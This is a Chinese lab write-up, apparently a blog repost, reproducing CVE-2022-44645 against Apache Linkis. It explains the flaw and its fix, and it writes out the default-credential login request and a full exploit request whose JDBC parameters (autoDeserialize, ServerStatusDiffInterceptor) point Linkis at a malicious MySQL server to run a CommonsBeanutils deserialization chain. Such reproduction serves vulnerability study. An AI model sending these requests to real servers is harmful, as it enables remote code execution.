当前位置: 首页 > news >正文

CVE-2022-44645漏洞复现

漏洞原理

该漏洞的核心本质是:Apache Linkis 在允许用户配置或测试数据源时,未能对用户输入的 MySQL JDBC URL 参数进行严格的过滤与黑名单限制。攻击者可以通过配置恶意的 JDBC URL,诱导 Linkis 连接到一个受控的恶意 MySQL 服务器,从而触发客户端(Linkis)利用MySQL Connector/J驱动执行反序列化攻击,最终实现远程代码执行(RCE)

组件名称受影响版本修复版本备注
Apache Linkis≤ 1.3.0Apache Linkis 1.3.1 及以上版本核心在于限制了数据源连接字符串的参数
MySQL Connector/J5.x 和 8.x 多个历史版本驱动层面的补丁依赖于特定参数的开启

复现

漏洞触发的“大前提”三要素

要成功复现或防范 CVE-2022-44645,必须以下三个条件同时满足,缺一不可:

  1. 宿主中间件:Apache Linkis 版本 $\le$ 1.3.0(未过滤 JDBC 恶意的 URL 参数)。

  2. 驱动版本:Linkis 的类路径中引入的是上述受影响范围内的MySQL Connector/J(如随大数据平台自带的旧版mysql-connector-java-5.1.x.jar)。

  3. 环境 Gadget:Linkis 自身包含可被反序列化利用的链(例如自带的Commons-Beanutils 1.9.4)。

复现环境

靶机ip: 192.168.10.142

攻击机ip: 192.168.10.81项目地址

Linkis服务由约七个微服务组成,完全启动需要1到2分钟。启动完成后,API网关地址为http://your-ip:9001,Eureka注册中心地址为http://your-ip:20303,默认账号密码为hadoop / hadoop

该靶场很简洁,能够访问到9001端口就行,就是以下该界面

抓包,更换表单成为以下

POST /api/rest_j/v1/user/login HTTP/1.1 Host: your-ip:9001 Content-Type: application/json {"userName":"hadoop","password":"hadoop"}

拿到会话 Cookie

M7UZXQP9Ld0ykKbI5lLyUHN8+fGTma8b2HLiVea4FcQ=;

打开java-chains

//复现前需要先准备一个能响应MySQL握手与查询请求、并在响应中下发Java反序列化Payload的恶意MySQL服务端。


//并基于Linkis classpath中自带的Commons-Beanutils 1.9.4链生成反序列化Payload。下图展示了在java-chains中构造FakeMySQLPayload → CommonsBeanutils1 → TemplatesImpl → BytecodeConvert → Exec这条链(命令为**touch /tmp/success**),生成结果中会返回一个短的字母数字MySQL用户名Token(例如dd14fff),恶意服务端会用这个Token来匹配后续JDBC客户端连接。

接下来,先登录Linkis获取会话Cookie,然后向数据源管理的op/connect/json接口发送一次请求。data-source-manager只识别hostportusernamepasswordparams这5个键,因此恶意的JDBC URL参数需要以JSON字符串的形式放入connectParams.params字段:

POST /api/rest_j/v1/data-source-manager/op/connect/json HTTP/1.1 Host: your-ip:9001 Content-Type: application/json;charset=UTF-8 Cookie: linkis_user_session_ticket_id_v1=... { "dataSourceName": "evil", "dataSourceTypeId": 1, "createSystem": "Linkis", "connectParams": { "host": "attacker-ip", "port": "3308", "username": "dd14fff", "password": "x", "params": "{\"autoDeserialize\":\"true\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"useSSL\":\"false\",\"maxAllowedPacket\":\"16777216\"}" } }

记得修改下面框框里的

发送,出现连接失败才是正确的

成功

补充

Linkis 1.3.1引入的修复在SecurityUtils#checkJdbcConnParams中加入了JDBC URL参数黑名单,禁止使用autoDeserializeallowLoadLocalInfileallowLocalInfileallowUrlInLocalInfile#等参数,从而阻断该利用路径;后续版本针对这一黑名单的多次绕过(CVE-2023-27987、CVE-2023-29215、CVE-2023-46801)又持续做了加固。

http://www.jsqmd.com/news/1113487/

相关文章:

  • 多商户商城系统哪家好?从商家入驻到分账结算的四个核心判断
  • 从碎片到永恒:如何将微信对话转化为你的个人数字传记
  • 万物智慧沥青水稳系统|一站式覆盖路面后场生产 + 前场施工 + 试验检测全流程数字化管控
  • STM32 传感器三种滤波算法精讲|滑动均值、中值滤波、一阶低通 RC 滤波深度解析
  • VoiceFixer终极指南:5分钟掌握AI语音修复技术,让模糊录音重获新生
  • 前端资质越高,越来越不敢随便升级框架?
  • [0514]AI EDITOR VIBE_LOG
  • 环形链表(LeetCode 141)C语言最佳解题思路
  • AI岗位替代不是失业倒计时,而是能力重构日程表
  • 佳易王计时计费软件|会员卡类型设置详细教程(SaaS云端版)
  • 点】[Bricks节点]原理解析与实际应用
  • TVA在具身智能技术演进中的独特价值(5)
  • CNAS软件测试体系中,数值修约标准的应用
  • 手动推导反向传播:彻底搞懂神经网络训练的核心黑魔法
  • 展厅设计公司哪个品牌口碑好?汉诺会展领衔国内优质展厅公司价格、效果、性价比分析
  • 计算机Java毕设实战-基于 SpringBoot 的企业人事信息与薪资绩效分析系统的设计与实现 基于 SpringBoot 的员工档案合同运维【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • ML模型服务化实战:从Notebook到高稳生产环境
  • 【Java毕业设计】基于 SpringBoot 的企业员工薪酬绩效统计分析系统的设计与实现 基于 SpringBoot 的一体化员工人事薪资合同管理系统(源码+文档+远程调试,全bao定制等)
  • Python图片处理:基于Gradio构建启动后在浏览器打开交互界面,支持上传图片、自由拖拽4个顶点实现任意角度拉伸压缩、并添加文字
  • 《对称性共生关系论——凌微经》第3~5章从逻辑归宗至形性一体助读篇
  • 【计算机Java毕业设计案例】基于 SpringBoot 的考勤数据可视化分析系统的设计与实现 基于 SpringBoot 的企业员工签到签退监管系统(程序+文档+讲解+定制)
  • SQL注入攻防体系构建:从原理到实战的全面指南
  • Xshell中实际操作命令
  • 智能体总是不听话?90% 的人没用对 Hermes 的「上下文」——这才是正确的打开方式
  • LIME与SHAP实战指南:金融风控中可解释AI的工程落地
  • 3分钟掌握:抖音无水印批量下载工具的终极解决方案
  • 知识蒸馏:SFT、RL、GKD等核心区别解析
  • 3个关键维度解析open-cmdb:从数据孤岛到智能资产管理的技术演进
  • 电脑加密软件有哪些?6 款热门电脑加密软件精选推荐,2026 电脑防泄密指南
  • 艺术涂料刷涂工艺?一次说到位